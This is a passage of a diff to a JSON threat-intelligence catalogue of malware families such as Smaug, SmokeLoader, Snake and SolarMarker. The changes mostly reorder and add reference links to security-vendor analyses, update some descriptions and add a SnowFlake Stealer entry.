"PhantomNet" @@ -44452,13 +46517,13 @@ "value": "SmartEyes" }, { - "description": "Ransomware.", + "description": "According to PCrisk, Smaug ransomware is available for download on the dark web: it is for sale as Ransomware as a Service (RaaS). Therefore, cyber criminals who purchase it can perform ransomware attacks without having to develop malware of this type. Smaug is designed to encrypt files, rename them and create a ransom message.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smaug", - "https://labs.sentinelone.com/multi-platform-smaug-raas-aims-to-see-off-competitors/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.anomali.com/blog/anomali-threat-research-releases-first-public-analysis-of-smaug-ransomware-as-a-service", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html" + "https://labs.sentinelone.com/multi-platform-smaug-raas-aims-to-see-off-competitors/" ], "synonyms": [], "type": [] @@ -44471,9 +46536,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokedham", + "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise", - "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", - "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns" ], "synonyms": [], "type": [] @@ -44486,77 +46551,83 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader", - "https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/", - "https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service", - "https://www.telekom.com/en/blog/group/article/a-new-way-to-encrypt-cc-server-urls-614886", - "https://x0r19x91.in/malware-analysis/smokeloader/", - "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", - "https://research.checkpoint.com/2019-resurgence-of-smokeloader/", - "http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html", - "https://hatching.io/blog/tt-2020-08-27/", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://youtu.be/QOypldw6hnY?t=3237", - "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://intel471.com/blog/privateloader-malware", - "https://research.openanalysis.net/smoke/smokeloader/loader/config/yara/triage/2022/08/25/smokeloader.html", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft", - "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.cert.pl/en/news/single/dissecting-smoke-loader/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://github.com/vc0RExor/Quick-Analysis/blob/main/SmokeLoader/SmokeLoader.md", - "https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign", - "https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo", - "https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/", - "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", - "https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.101_ENG.pdf", - "https://danusminimus.github.io/Analyzing-Modern-Malware-Techniques-Part-4/", - "https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html", - "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", - "https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/", - "https://www.silentpush.com/blog/privacy-tools-not-for-you", - "http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html", - "https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://m.alvar.es/2019/10/dynamic-imports-and-working-around.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities", - "http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html", - "https://m.alvar.es/2020/06/unpacking-smokeloader-and.html", - "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", - "http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html", - "https://drive.google.com/file/d/13BsHZn-KVLhwrtgS2yKJAM2_U_XZlwoD/view", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://embee-research.ghost.io/smokeloader-analysis-with-procmon/", "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", - "https://www.sentinelone.com/blog/going-deep-a-guide-to-reversing-smoke-loader-malware/", + "https://danusminimus.github.io/Analyzing-Modern-Malware-Techniques-Part-4/", "https://suvaditya.one/malware-analysis/smokeloader/", - "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/", - "https://asec.ahnlab.com/en/33600/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo", + "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/", + "https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://asec.ahnlab.com/en/36634/", - "https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html", - "https://securitynews.sonicwall.com/xmlpost/html-application-hta-files-are-being-used-to-distribute-smoke-loader-malware/", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://malwareandstuff.com/examining-smokeloaders-anti-hooking-technique/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd", - "https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait", "https://n1ght-w0lf.github.io/malware%20analysis/smokeloader/", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://research.checkpoint.com/2019-resurgence-of-smokeloader/", + "https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd", + "https://malwareandstuff.com/examining-smokeloaders-anti-hooking-technique/", + "https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise", + "https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/", + "http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html", "https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/", - "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.cert.pl/en/news/single/dissecting-smoke-loader/", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/", + "https://youtu.be/QOypldw6hnY?t=3237", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://m.alvar.es/2020/06/unpacking-smokeloader-and.html", + "https://www.telekom.com/en/blog/group/article/a-new-way-to-encrypt-cc-server-urls-614886", + "https://hatching.io/blog/tt-2020-08-27/", + "https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer", + "https://unit42.paloaltonetworks.com/analysis-of-smoke-loader-in-new-tsunami-campaign/", + "https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://github.com/vc0RExor/Quick-Analysis/blob/main/SmokeLoader/SmokeLoader.md", + "http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html", + "https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/", + "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html", + "https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities", + "https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html", + "https://asec.ahnlab.com/en/36634/", + "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/", + "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis", + "https://research.openanalysis.net/smoke/smokeloader/loader/config/yara/triage/2022/08/25/smokeloader.html", + "https://www.sentinelone.com/blog/going-deep-a-guide-to-reversing-smoke-loader-malware/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://intel471.com/blog/privateloader-malware", + "https://www.silentpush.com/blog/privacy-tools-not-for-you", + "https://securitynews.sonicwall.com/xmlpost/html-application-hta-files-are-being-used-to-distribute-smoke-loader-malware/", + "https://drive.google.com/file/d/13BsHZn-KVLhwrtgS2yKJAM2_U_XZlwoD/view", + "https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US", + "https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/", + "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", + "https://asec.ahnlab.com/en/33600/", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait", + "https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.101_ENG.pdf", + "https://x0r19x91.in/malware-analysis/smokeloader/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", - "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html" + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries" ], "synonyms": [ "Dofoil", @@ -44574,8 +46645,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", - "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators" ], "synonyms": [ "Ismo" @@ -44590,8 +46661,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32", - "https://www.youtube.com/watch?v=7gCU31ScJgk", - "https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/" + "https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/", + "https://www.youtube.com/watch?v=7gCU31ScJgk" ], "synonyms": [], "type": [] @@ -44617,31 +46688,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snake", - "https://insights.sei.cmu.edu/cert/2020/03/snake-ransomware-analysis-updates.html", - "https://www.dragos.com/blog/industry-news/ekans-ransomware-misconceptions-and-misunderstandings/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://twitter.com/bad_packets/status/1270957214300135426", - "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://krebsonsecurity.com/2020/05/europes-largest-private-hospital-operator-fresenius-hit-by-ransomware", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", - "https://ics-cert.kaspersky.com/alerts/2020/06/17/targeted-attacks-on-industrial-companies-using-snake-ransomware/", - "https://www.bleepingcomputer.com/news/security/honda-investigates-possible-ransomware-attack-networks-impacted/", - "https://www.ccn-cert.cni.es/pdf/5045-ccn-cert-id-15-20-snake-locker-english-1/file.html", - "https://www.fortinet.com/blog/threat-research/ekans-ransomware-targeting-ot-ics-systems", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", - "https://www.goggleheadedhacker.com/blog/post/22", - "https://twitter.com/milkr3am/status/1270019326976786432", - "https://blog.malwarebytes.com/threat-analysis/2020/06/honda-and-enel-impacted-by-cyber-attack-suspected-to-be-ransomware/", - "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://medium.com/@nishanmaharjan17/malware-analysis-snake-ransomware-a0e66f487017", - "https://www.0ffset.net/reverse-engineering/analysing-snake-ransomware/", - "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.bleepingcomputer.com/news/security/snake-ransomware-is-the-next-threat-targeting-business-networks/", + "https://medium.com/@nishanmaharjan17/malware-analysis-snake-ransomware-a0e66f487017", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://www.fortinet.com/blog/threat-research/ekans-ransomware-targeting-ot-ics-systems", + "https://twitter.com/bad_packets/status/1270957214300135426", + "https://www.0ffset.net/reverse-engineering/analysing-snake-ransomware/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.ccn-cert.cni.es/pdf/5045-ccn-cert-id-15-20-snake-locker-english-1/file.html", + "https://github.com/albertzsigovits/malware-notes/blob/master/Snake.md", + "https://twitter.com/milkr3am/status/1270019326976786432", + "https://insights.sei.cmu.edu/cert/2020/03/snake-ransomware-analysis-updates.html", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", + "https://www.dragos.com/blog/industry-news/ekans-ransomware-misconceptions-and-misunderstandings/", + "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/", + "https://blog.malwarebytes.com/threat-analysis/2020/06/honda-and-enel-impacted-by-cyber-attack-suspected-to-be-ransomware/", + "https://krebsonsecurity.com/2020/05/europes-largest-private-hospital-operator-fresenius-hit-by-ransomware", + "https://www.bleepingcomputer.com/news/security/honda-investigates-possible-ransomware-attack-networks-impacted/", + "https://ics-cert.kaspersky.com/alerts/2020/06/17/targeted-attacks-on-industrial-companies-using-snake-ransomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Snake.md" + "https://www.goggleheadedhacker.com/blog/post/22" ], "synonyms": [ "EKANS", @@ -44657,18 +46728,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch", + "https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.crowdstrike.com/blog/financial-motivation-drives-golang-malware-adoption/", + "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", - "https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md", "https://www.bleepingcomputer.com/news/security/snatch-ransomware-reboots-to-windows-safe-mode-to-bypass-av-tools/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", "https://twitter.com/VK_Intel/status/1191414501297528832", - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/" + "https://intel471.com/blog/a-brief-history-of-ta505" ], "synonyms": [], "type": [] @@ -44681,10 +46752,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto", + "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", + "https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/", "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", "https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html", - "https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf", - "https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/" + "https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf" ], "synonyms": [], "type": [] @@ -44697,11 +46769,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader", - "https://www.youtube.com/watch?v=k3sM88o_maM", "https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/", - "https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/", + "https://www.youtube.com/watch?v=k3sM88o_maM", "https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/", - "https://twitter.com/VK_Intel/status/898549340121288704" + "https://twitter.com/VK_Intel/status/898549340121288704", + "https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/" ], "synonyms": [], "type": [] @@ -44729,12 +46801,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", - "https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf", + "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", - "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef" + "https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", + "https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072" ], "synonyms": [ "Ursnif" @@ -44757,6 +46830,19 @@ "uuid": "0646a6eb-1c13-4d87-878e-9431314597bf", "value": "Snojan" }, + { + "description": "Information stealer, written in Rust.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer", + "https://github.com/Finch4/Malware-Analysis-Reports/blob/master/SnowFlake%20Stealer/SnowFlake%20Stealer%20Analysis.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7ddfdf14-ec97-48ea-88a6-055147583dc3", + "value": "SnowFlake Stealer" + }, { "description": "", "meta": { @@ -44802,12 +46888,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.bleepingcomputer.com/news/security/facebook-ads-manager-targeted-by-new-info-stealing-trojan/", - "https://twitter.com/VK_Intel/status/1201584107928653824", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/" + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/VK_Intel/status/1201584107928653824", + "https://www.bleepingcomputer.com/news/security/facebook-ads-manager-targeted-by-new-info-stealing-trojan/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [], "type": [] @@ -44820,9 +46906,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot", - "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", - "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf", "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf", + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", "https://www.youtube.com/watch?v=CAMnuhg-Qos" ], "synonyms": [], @@ -44849,12 +46935,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot", "https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta", - "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", - "https://threatminer.org/report.php?q=Accenture-Goldfin-Security-Alert.pdf&y=2018", + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.accenture.com/t00010101T000000Z__w__/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "https://threatminer.org/report.php?q=Accenture-Goldfin-Security-Alert.pdf&y=2018" ], "synonyms": [ "BIRDDOG", @@ -44871,11 +46957,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster", "https://www.bleepingcomputer.com/news/security/chinese-hackers-abuse-vlc-media-player-to-launch-malware-loader/", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", + "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", - "https://securelist.com/apt-trends-report-q1-2021/101967/" + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks" ], "synonyms": [ "DelfsCake", @@ -44892,9 +46978,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot", + "https://blog.avast.com/2013/09/25/win3264napolar-new-trojan-shines-on-the-cyber-crime-scene/", "https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/", - "https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/", - "https://blog.avast.com/2013/09/25/win3264napolar-new-trojan-shines-on-the-cyber-crime-scene/" + "https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/" ], "synonyms": [ "Napolar" @@ -44905,28 +46991,29 @@ "value": "Solarbot" }, { - "description": "Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.\r\n\r\nSome of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.\r\n\r\nThe malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.", + "description": "Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.\r\n\r\nSome of SolarMarker\u2019s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims\u2019 web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.\r\n\r\nThe malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker", - "https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", - 